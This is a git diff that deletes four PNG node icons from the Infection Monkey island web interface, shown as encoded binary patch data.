b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_linux_starting.png deleted file mode 100644 index aebe6f962859ae9a065e60685bfc330a34e89565..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5733 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 diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_manual_windows_starting.png deleted file mode 100644 index c1f9a30bd0b086dddf60ef55dd9c19336c4353a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5070 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 BAfx~Q diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_starting.png deleted file mode 100644 index 7654982f341c117e5d8c332008e5b8464543486d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5675 zcmZvgbx;&s`0qD}rB^~4mQotT1q7F6SxFICS|wCMO1hR_VgV&3q`Mml2@#YRkaAfG zk&tc>38hxx^1k=Zo%zlD{&=2q&J*96bLPxBGoP0jT@5;F4r%}ZK&PdtY5)KL^REmG z0bfOg@IOSZ1~$wCBQ*`T2UAm1mzS3~9PY~BzJ2>*@ODj2O)c2A`l<%(WuR*aI58dL zazb1!soXRlc>(|rQ~x#Kl(YO80KihIrK)0t&HkAa^RBwQHu9!z&D!~VtA-z4A_^3( zf0%cRuxo61?I6SLvvLNK_gGf8KM09Vrm=BT+~iVMFDuGk{94-?jdYb?XWwGm7!D%n z-$bk-%PL}+o&{!CpriTjLSLPnIGov4euJM9B0xyOf){Z`k@1Wzmx&qXC_u(2gW#40 z{&Tdr%wx?d1S+jrKfHxp--LMnQ6ZdUSA=6EcRkp8=-B#L!%Mq7j3Af?I<8Xh~&)J130SHbh2NM5e5cVkH`K zwF8mh`6|w7BNiL%v??IU6g?B?j_b_R@_N}&1~lLY7n@UPw$Ubfu)|hmP=mI(lp%mf z8qh%U|0jNMK|5pCwA!U$zb5^pfBjMM(B2IUnEMU#2yP5nOW+i+h&E4eD{X259XujM zVS^1+`-L)`REn7}27UF>-?_Rt(3?YJDR)zGqrTF@{Ei@rh`r&7bzK2iEQ4ENKiS;f zUpa;bbc=qjuwp3GSUutIBMWf+lA(^K9XDKz>N-*uINkFeql(KiP80ipOKeaa?lL;X zMC#d^=}N%hM1^6pSCCb%a+xB3rGCDWKkmGHlL!o%@K6~6uMYA+Tk}UR=yg$q!3UC4 zDUDXq{{XlJZ{BfD^|`ne=;Jm5Yr}I@188ZyZYQ zO4;tgaLK46&J)-s4KnIL7j5OY0+6eR;EgdcSJnPHO@1DYXI@}xKfypQ?-I?4zMp(u zsa8_UtQUrN^V2n6_-@_LsQt~?#nSz&E}JH@EG2+g*Qab*+L{w+KH0rK`X=m2q~beZ z#UJDFWy1rw25=gSt;Ta@8ux{>9d@cJqk_+LbZX$UD>+%e!J@J$;H<%E%EKBLm)Db= z1!=P@UD|m8gxIXh&vlnoY#6G9Z~;f@kLPEoq06tn|0sS|_|C{B)dhHbdAV}jt|<$1 zNo|NHtKJ?6`>K$cpy6gd`M_CP8Kf2Z%;oGs|h@&h}wvha#2K!qcLG&$^34|6Fg zWQXQ4d{ys*kh+yv2PDFG0)!t{3PBfL7$71j#B4n(v}=oRC3<#c&~y}qa)?P+fh49E zk7X)(IulCQEi~&RK^ex7pR^J`w zY38gsCZ>z&kXZT_ZSimY<6RP#bqyP4uMc0$R8_$4ujKA=gr=89<4=a z#Z&yI1L&Nx$vUTrw^06}?@(ohwYa8Cm3>^~N|PSY$HiL`2?J7Gw51sR#Xa)5- zfV{*x9^FiMt7F&Q5l_Big&JFXWFI?&_?eE@b>h~WQ?fK9VyPa_e#F~kaC0mz&{sQm zcLMrHEcRDi+&=K26fVns3JP!wnZ?cF((>xJaj5;L-kddV%q*wk&PuZ8&603xqP*qj zmbi()G#~~(M*29SU#o=TF)$!+>-gzZR<8~U6Uw-)z#YU1f_8vY#_*;N(QYv6We`q~ zN0~M;VauDLih+M<<_$9jTdkAN-_1fd!ajqB(?a3P-#|Z#-hGZ)dn&aANbzOs+I_h& zlOHu$AcjEV&imbQOSXz;xn0}YTI%_~@sr~dA4KI4H@dD|(%(6?{Z)}Hh9};?ors)9gAjAierN90Vf=~~o z6Is<+RfCTN40Aq)J}ZsZyzN#^EIwch6)=(V%=MSZ_c*4fuMO_1{v#A_(ZA1QYehJ?fHgLEy01puN=R=0fb%AUEo2w zLqSAG4>cX5l8_I7q;C}1(@@$<-jtMsRPiHAW`}W&+~%4-W1QCW_M&2eyEPzD0BP1<8@th(TP!R z5mpRE{!8;5bn*Iu@K8sdXp1z>WTXYPu>Y^*ur&n#!`N5qt&MhDqQG84EgQzsB<=F> z88xdv6XPP`iMWAZ=TID=pza)*7j7&zle1r;#=5XcQSNq%$4Mi{nu2AamrUZ;rNh=H z1Z8gMkK>!<%EF1Bu-Bg|jj4o#GpN&^ke6?{y`V(%YF3SZyQ7u*<%KgYx+G9G@CN3V zEmBZATCdl^j8Im_@n%fatW~C=!5Wl@1o+#e5JV16Qw?a`kP_m4t z`ychi(nDac-!I%vriDo7DkdMh&SsJn1%P^Z3asZPIAf1gmCyfcU%2#T9u9&wBo-OR zYq~F-gk~pNqK5i1T)f^eznwe@q#R5w{I1;RIy5f}A;P?27z`4^4EexA#Br2EOV~eC zL4Nr$=L7G#l{lunWkC6i6al=$5)I$xBscneQPKm!3*#(aY}v@D%xCf0;A})&)SLje z4Htqaf#;zd09#ifstn2jBi^O^zKnH~$$&U}!IWY1w{i-3Bn==3bol_cL1HU1$L{iy zmlN=_9spQ^3lApzvZFg()RFH_2SLS1K8cukYzJgyV$5qW9RxT58wJ-Hz=Bm#qgZ42 zZ0*g{4*kET@J3cDh!(Bd-0K_qw^X$3&irsE&vb+319XQ*#%gD&23ul#ohuP<@Xu-p z$?=WUV}W{PJx(skeS{z5%2jEu{JT#CBkv%MybWw!SqbY7x0Y&py6&GQovpphyW( zUTzF>BuL#W;?|PyOg~Lo2Mu->e80FnXC1)m)4n8;^BvvGr7g!seyirjtVW7o9B*wuO}7{OJ(dnuJHRcO`CNtw=W8#|m`vUIZAzQ? zkLxLtm6&lP1sRtOWwJ#?x330pz`DxkK6Xmr#ke8<_Y)I7n&+NrXaCv76$b6DOs~;q zNhcgIOOi7yQvV%NJ?Co`^0}zRML(1Jq#l37TuZ@hBAY_{#VE;c!F=Xn z#0DBwU>wHCZTuyrO=vJc9#s;r;m2*{t|Y-r#DB=oHgp7NJ_)RU7?Jd-=wOKW z^;m}*^M}I4n4TEH?vz6L^IhCKhmY&~gu+^FzH#qcl7^H&YeF~93+8`c;H1Ga*Q>c# zQCZ+oA=e>?nXL4xA9qDw^bRO(G?|za{59nE{a5OrD&Q-*4+QLtZ?E;W;Wd}D+x6s8 zQ~yjS>=cI#pU0(vG>X{T`o*{Ff~muJv36neZ`b0s!O=4m3zzsTkZJg|5B=l7VA5Y^ zGpCY8t9;e#LY7TGn3SvSi@j);3X9B}MatFT`d%jd(jRS)Jm>*lsxsp?*_QN~VfR%Z z2}c|Rg#&Sk7KMzL1qM(@Oh7>x2C4Fn!CAf@z*3Z<9sIf!HpzyzLYBO6-{unqM?0@; zP?XNP%ne)aML(dHh=`0(NU$#Vh6N|iNJ;_GBqS+;hjjDR%{+9;ne=y=1BR;k5?m5O zVlyl+L&fEN2N?wM3b6}rL#21GM#QVjAS(@Z>@Uwz^DLP3ne+9Jz|k?!ViBV%vlQ@k zNFQx)U?Ge$cAqB2YmGvMBu=!(dl^pM*_T}`14dQQ1q#qgD!QP zorw>O8JPL_v|6M`_B#gUu%}V;`F;T%CJM&dc%oA0$V(QH#C!%G|EV=pxZ_XlXJ~&Ta!))9{+NB;Sk}KlTv0}(#b|QpTv80G2C5P>`Wv{eU1{w(c zi=gsXc~6t0w;?PM!w>?`svc~^v57E?@@+(5jmK$)vloymPd^#jp@!_?R;+R`b!tCU z=SjY#=RFr>L}APFiNd2jHl93sQuqmOP-LZU2oB#9%N%FAwlsZyb7yePnNskfZY*U_ zJWi3ZyP`iX>QFL3$#$A zn0=eBcz+6S zNe_uF*64x&KkbX|{OU0rjQg1eKDd>4F8@eT2&rA@R-V0$mZEIx`uwSmsUZoMMsMNU z>)^5ebB@kFWS`S6bTDuufEJ@pirSk_QaFJyTGev<$>)F343m>xa;l9?04~`lf$kr< zM@jt2wByW=E#_H)Du+gSj3Z_Mwu05+^+QglY_RwnkM+eRhcR-VskWe?}I(+DNH{VO##X9l~im3dXR}N;z zt8m6Fi*kISxLfd*42=$>Ck7Y9Js%RxVF-&LUB(*2>{cxQ6LxGov;Y0(*YxBks-cp7$Nfh^XLJ8}H!cVht-7+?)kf z+_C`Dp+~eJew)>gvG2~`?|r@l49%fCO;rMYAHL%^CQO&qren!$)_b{c?eKY~Q^2ULXRe3JnF_j;+-_pU|YwuD> zPEa>e9X-=1VyXZ#AN@FDkBh06$yL`Sjfgc9zeZ@% zTz%7DKU3{Rk^ABbwnxg?355w1>W=~V*R+>s5`T1NU;;S{FJdL5ipeqQm9ybKr9nW8 zvN@b1P1w41w-%YJCtTnuP91b`=OytiEm0Gdp%}eSa_}a4kAfgiHoywlZ@fJ;&?apf zn3op(r*Q6B%uaFwMRW}}wEXb)xqcy~nQT{$*<(Ox=s*p}piUSQ(`?j`5P)MbGM zKD|8gQN~WE{FTKhADT<);G}syDBl%b2hFdmyZR*=0q@&cBEO?Ii<;M<WXT?Faxi`IU^Z9Vwwr2F1w`&yk*_vh4c>hcquWJGSE+hy)b ze)nxzJf}XdoS?w9m7<-6k2cwBsi3(c7i*#4g)Il}kAK+dOJ6@%5Ar$;jhJI!sUPXt zObThHc_s#E-kgy1iaG?9$-hrL0~|9@D3DWdR%c}oozJng01bi}e~i6*w6DffUZs6t zEt*%z3BPusDi12$8DGAIih9Bra5JM903jHrkq;kG#b z|KQtIO>_Uh@J$9qQLgqMmAjfs{72Ge|D|$Q{g{~lt7?OLZ1XR!`&aEhj@J)h z&%ge^OWnscU1ec8|4LuA14l)!l-mDisG?@UN4(LXEdc00|7q>W0kGPT;AB5}OfT6K zva%5rxC7SP@&>c|H-dqz2HG1xc-fmqyeiXzHcZ}kMp5k;e&r}RvEJSbI5|@II}y{t zD4&VwIed<+=P;<6G(p9TGx;mz2@h_LRV~l(PejCynH}YPzbm=%-=-2mBUxa{vGU diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_starting.png deleted file mode 100644 index c6d2ace5a6b490d166ab5605097eb42e3e0b9bd5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5014 zcmZvgWmFUH+sC)jJz&y|fuw{q2!dmDI!YQDQqnP6a7u_$14q}GfRp;6fRrEtBJDr~ zX+cW5CFSAwKhOD}^PKa%xZ?g^*Y&;Mf1V>vbQx&5XaN8KgT9`Y82|vpUqu)-*_9#` zHzRgcIFLpb+PeNmLqkKCmzNj}<|@m{$^GqS$W zwYH$e!S|{h?A*f`3sQHR`fG0KHD%cgsx$CH~3`V4GZqonFz9CX*Rc8 z^ak7=5duK%M~?s;MLvew$IklXvAaMM$j;lN<7ivp30^naWbxlJsfugK0^*PsmG=LVcAfMYv%7SqzG zh@@<40WzNT@u(;|SW=P%e7uJt9Xiq{Ls+LGlQMuN$oXZ+**A|lFBHg{7tuAA07B@a)hCVb}e2y}qQ}wY7^WCb~(VkcbhWEY*bS7f8*Ir=2mc1W% zk=c3D#TGrX$p^(ohnEpd?`8qIKTJa0Jm%$yrA`vBP)D9{tG_!*9a?PP?*yPV?Gs!N z|9}J{@*0i%C#jy9I!$~l7&^en3OD>ki+%_+$rN_p891i9)e%=l*=4*^_>nL1j;zGK zwO}MIksgUM@R9e=m4NwisbzB@O>LXr_on^~X6s)Y-JxE89|}NF$IVP!eB2pVrIwu6 zsN|oGb=~-fpz<`QOO33{)3)szHZRM~eT2q-!p8nnyYVle@hp>yR*31mbwknZ>?rD< z`|7f7SUV1|{PumNZaGDszwaX*D_eRUHZ=K*g#c+w$^{5%bf_|ze9=f|I_@4|F*9r< z%G89#0eca`o_y$CjF|*-W)-R_CAHC`)8u}HPu;}0F1?Lm11x%n4>09D;^OU8n_|Y_ z6i=m1AnPgZhEg6`HK9N@AMwYS0b>m9*xgnLxMuO86CL&Z^XZ!oRbFSwfG9tZ{70&S z>wup(gOaC_3`?6HZ8^OCUjbuZGfd%XKu)Ibl+?w~rx;gGnpvdEgL#_MY{^N55GK+? 